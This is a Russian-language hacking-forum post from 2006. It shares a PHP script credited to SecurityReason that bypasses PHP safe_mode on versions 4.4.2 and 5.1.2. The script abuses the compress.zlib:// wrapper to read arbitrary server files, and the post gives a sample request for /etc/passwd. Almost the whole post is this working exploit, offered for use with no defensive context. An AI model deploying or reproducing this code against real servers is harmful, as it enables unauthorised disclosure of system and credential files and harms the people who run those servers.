Тема: Bypassing Safe Mod
Показать сообщение отдельно

Bypassing Safe Mod
  #1  
Старый 13.05.2006, 20:44
neM3Sis
Новичок
Регистрация: 02.05.2006
Сообщений: 15
Провел на форуме:
19287

Репутация: 23
Arrow Bypassing Safe Mod

Bypassing Safe Mod

hxxp://www.site.com/lol.php?file=/etc/passwd

lol.php :

Код:
<?php
echo dirname(__FILE__);
/*
Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2
by Maksymilian Arciemowicz SecurityReason.Com
cxib [at] securityreason [dot] com and max [at] jestsuper [dot] pl
pozdro sp3x
*/


$file=""; // File to Include... or use _GET _POST
$tymczas=""; // Set $tymczas to dir where you have 777 like /var/tmp



echo "<PRE>\n";
if(empty($file))
{
   if(empty($_GET['file']))
   {
      if(empty($_POST['file']))
      {
         die("\nSet varibles \$tymczas, \$file or use for varible file POST, GET like ?file=/etc/passwd\n <B><CENTER><FONTCOLOR=\"RED\">SecurityReason.Com Exploit</FONT></CENTER></B>");
      }
      else
      {
         $file=$_POST['file'];
      }
   }
   else
   {
      $file=$_GET['file'];
   }
}

$temp=tempnam($tymczas, "cx");

if(copy("compress.zlib://".$file, $temp))
{
   $zrodlo = fopen($temp, "r");
   $tekst = fread($zrodlo, filesize($temp));
   fclose($zrodlo);
   echo "<B>--- Start File ".htmlspecialchars($file)."-------------</B>\n".htmlspecialchars($tekst)."\n<B>--- End File".htmlspecialchars($file)." ---------------\n";
   unlink($temp);
   
   die("\n<FONT COLOR=\"RED\"><B>File".htmlspecialchars($file)." has been already loaded. SecurityReason Team;]</B></FONT>");
}
else
{
   die("<FONT COLOR=\"RED\"><CENTER>Sorry... File<B>".htmlspecialchars($file)."</B> dosen't exists or you don't have access.</CENTER></FONT>");
}
?>
enJOY
 
Ответить с цитированием